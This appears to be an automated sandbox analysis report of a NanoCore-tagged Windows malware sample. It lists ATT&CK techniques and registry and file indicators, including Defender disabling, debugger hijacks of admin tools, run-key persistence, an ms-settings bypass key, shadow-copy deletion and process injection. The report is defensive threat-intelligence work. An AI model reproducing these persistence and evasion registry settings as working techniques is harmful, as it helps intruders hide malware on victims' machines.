nanocore | be44227c6803e9b05ba6a30b47d5d824d026448bd8d57d6357c2fd6ac5665ea0

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	medcross.co_chrome.exe

Modifies security service 2 TTPs 1 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4"	medcross.co_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1020	powershell.exe

Disables RegEdit via registry modification 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	medcross.co_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	medcross.co_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\medcross.co_chrome.exe"	medcross.co_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	medcross.co_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\medcross.co_chrome.exe"	medcross.co_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	medcross.co_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\medcross.co_chrome.exe"	medcross.co_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	medcross.co_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
1052	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

persistence privilege_escalation

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	medcross.co_chrome.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_159.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_110.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_111.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_139.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_9.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_88.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_151.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_193.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_1.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_74.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_156.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_10.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_175.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_121.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_17.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_86.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_36.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_45.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_98.pdf	medcross.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_173.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf	medcross.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf	medcross.co_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\medcross.co_chrome.exe"	medcross.co_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\medcross.co_chrome.exe"	medcross.co_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\medcross.co_chrome.exe"	medcross.co_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\medcross.co_chrome.exe"	medcross.co_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
468	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\sysupdate.exe	medcross.co_chrome.exe
File created	C:\Windows\system32\svchost.exe	medcross.co_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	medcross.co_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
3216	wscript.exe
5064	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	medcross.co_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	medcross.co_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4104	sc.exe
1828	sc.exe
1468	sc.exe
996	sc.exe
4608	sc.exe
4204	sc.exe
3484	sc.exe
3296	sc.exe
2588	sc.exe
4604	sc.exe
4916	sc.exe
3240	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
956	cmd.exe
3392	cmd.exe
4864	cmd.exe
1064	cmd.exe
1388	cmd.exe
1860	cmd.exe
4116	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
640	chrome.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
4072	ipconfig.exe
1528	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
1912	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
3268	vssadmin.exe
296	vssadmin.exe
2508	vssadmin.exe

Modifies Control Panel 1 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\Desktop\WallpaperStyle = "2"	medcross.co_chrome.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134302851112662336"	chrome.exe

Modifies registry class 17 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\medcross.co_chrome.exe\" \"%1\""	medcross.co_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\ms-settings\shell\open	medcross.co_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\ms-settings\shell	medcross.co_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\ms-settings\shell\open	medcross.co_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	medcross.co_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	medcross.co_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\ms-settings\shell	medcross.co_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\ms-settings\shell\open\command	medcross.co_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\ms-settings	medcross.co_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\.pdf\ = "PDFBotnet"	medcross.co_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\ms-settings\shell\open\command	medcross.co_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\ms-settings	medcross.co_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\medcross.co_chrome.exe"	medcross.co_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\ms-settings\shell\open\command\DelegateExecute	medcross.co_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	medcross.co_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	medcross.co_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4764	schtasks.exe
3816	schtasks.exe
1868	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1944	chrome.exe
1944	chrome.exe
1020	powershell.exe
1020	powershell.exe
1020	powershell.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe
3572	medcross.co_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3572	medcross.co_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1944	chrome.exe
Token: SeCreatePagefilePrivilege	1944	chrome.exe
Token: SeIncreaseQuotaPrivilege	5056	WMIC.exe
Token: SeSecurityPrivilege	5056	WMIC.exe
Token: SeTakeOwnershipPrivilege	5056	WMIC.exe
Token: SeLoadDriverPrivilege	5056	WMIC.exe
Token: SeSystemProfilePrivilege	5056	WMIC.exe
Token: SeSystemtimePrivilege	5056	WMIC.exe
Token: SeProfSingleProcessPrivilege	5056	WMIC.exe
Token: SeIncBasePriorityPrivilege	5056	WMIC.exe
Token: SeCreatePagefilePrivilege	5056	WMIC.exe
Token: SeBackupPrivilege	5056	WMIC.exe
Token: SeRestorePrivilege	5056	WMIC.exe
Token: SeShutdownPrivilege	5056	WMIC.exe
Token: SeDebugPrivilege	5056	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5056	WMIC.exe
Token: SeRemoteShutdownPrivilege	5056	WMIC.exe
Token: SeUndockPrivilege	5056	WMIC.exe
Token: SeManageVolumePrivilege	5056	WMIC.exe
Token: 33	5056	WMIC.exe
Token: 34	5056	WMIC.exe
Token: 35	5056	WMIC.exe
Token: 36	5056	WMIC.exe
Token: SeShutdownPrivilege	1944	chrome.exe
Token: SeCreatePagefilePrivilege	1944	chrome.exe
Token: SeDebugPrivilege	1020	powershell.exe
Token: SeBackupPrivilege	2716	vssvc.exe
Token: SeRestorePrivilege	2716	vssvc.exe
Token: SeAuditPrivilege	2716	vssvc.exe
Token: SeIncreaseQuotaPrivilege	5056	WMIC.exe
Token: SeSecurityPrivilege	5056	WMIC.exe
Token: SeTakeOwnershipPrivilege	5056	WMIC.exe
Token: SeLoadDriverPrivilege	5056	WMIC.exe
Token: SeSystemProfilePrivilege	5056	WMIC.exe
Token: SeSystemtimePrivilege	5056	WMIC.exe
Token: SeProfSingleProcessPrivilege	5056	WMIC.exe
Token: SeIncBasePriorityPrivilege	5056	WMIC.exe
Token: SeCreatePagefilePrivilege	5056	WMIC.exe
Token: SeBackupPrivilege	5056	WMIC.exe
Token: SeRestorePrivilege	5056	WMIC.exe
Token: SeShutdownPrivilege	5056	WMIC.exe
Token: SeDebugPrivilege	5056	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5056	WMIC.exe
Token: SeRemoteShutdownPrivilege	5056	WMIC.exe
Token: SeUndockPrivilege	5056	WMIC.exe
Token: SeManageVolumePrivilege	5056	WMIC.exe
Token: 33	5056	WMIC.exe
Token: 34	5056	WMIC.exe
Token: 35	5056	WMIC.exe
Token: 36	5056	WMIC.exe
Token: SeShutdownPrivilege	1944	chrome.exe
Token: SeCreatePagefilePrivilege	1944	chrome.exe
Token: SeShutdownPrivilege	1944	chrome.exe
Token: SeCreatePagefilePrivilege	1944	chrome.exe
Token: SeDebugPrivilege	3572	medcross.co_chrome.exe
Token: SeShutdownPrivilege	1944	chrome.exe
Token: SeCreatePagefilePrivilege	1944	chrome.exe
Token: SeShutdownPrivilege	1944	chrome.exe
Token: SeCreatePagefilePrivilege	1944	chrome.exe
Token: SeShutdownPrivilege	1944	chrome.exe
Token: SeCreatePagefilePrivilege	1944	chrome.exe
Token: SeIncBasePriorityPrivilege	3572	medcross.co_chrome.exe
Token: SeShutdownPrivilege	1944	chrome.exe
Token: SeCreatePagefilePrivilege	1944	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe
1944	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3572	medcross.co_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3572 wrote to memory of 1944	3572	medcross.co_chrome.exe	84
PID 1944 wrote to memory of 4880	1944	chrome.exe	85
PID 3572 wrote to memory of 1020	3572	medcross.co_chrome.exe	86
PID 3572 wrote to memory of 3484	3572	medcross.co_chrome.exe	87
PID 3572 wrote to memory of 3296	3572	medcross.co_chrome.exe	89
PID 3572 wrote to memory of 2588	3572	medcross.co_chrome.exe	172
PID 3572 wrote to memory of 4604	3572	medcross.co_chrome.exe	93
PID 3572 wrote to memory of 4104	3572	medcross.co_chrome.exe	95
PID 3572 wrote to memory of 1828	3572	medcross.co_chrome.exe	98
PID 3572 wrote to memory of 4916	3572	medcross.co_chrome.exe	144
PID 3572 wrote to memory of 3240	3572	medcross.co_chrome.exe	102
PID 3572 wrote to memory of 1480	3572	medcross.co_chrome.exe	103
PID 3572 wrote to memory of 1468	3572	medcross.co_chrome.exe	105
PID 3572 wrote to memory of 996	3572	medcross.co_chrome.exe	107
PID 1944 wrote to memory of 2980	1944	chrome.exe	109
PID 1944 wrote to memory of 2980	1944	chrome.exe	109
PID 1944 wrote to memory of 640	1944	chrome.exe	110
PID 1944 wrote to memory of 220	1944	chrome.exe	111
PID 1944 wrote to memory of 220	1944	chrome.exe	111
PID 3572 wrote to memory of 3268	3572	medcross.co_chrome.exe	113
PID 1944 wrote to memory of 464	1944	chrome.exe	114
PID 1944 wrote to memory of 3680	1944	chrome.exe	115
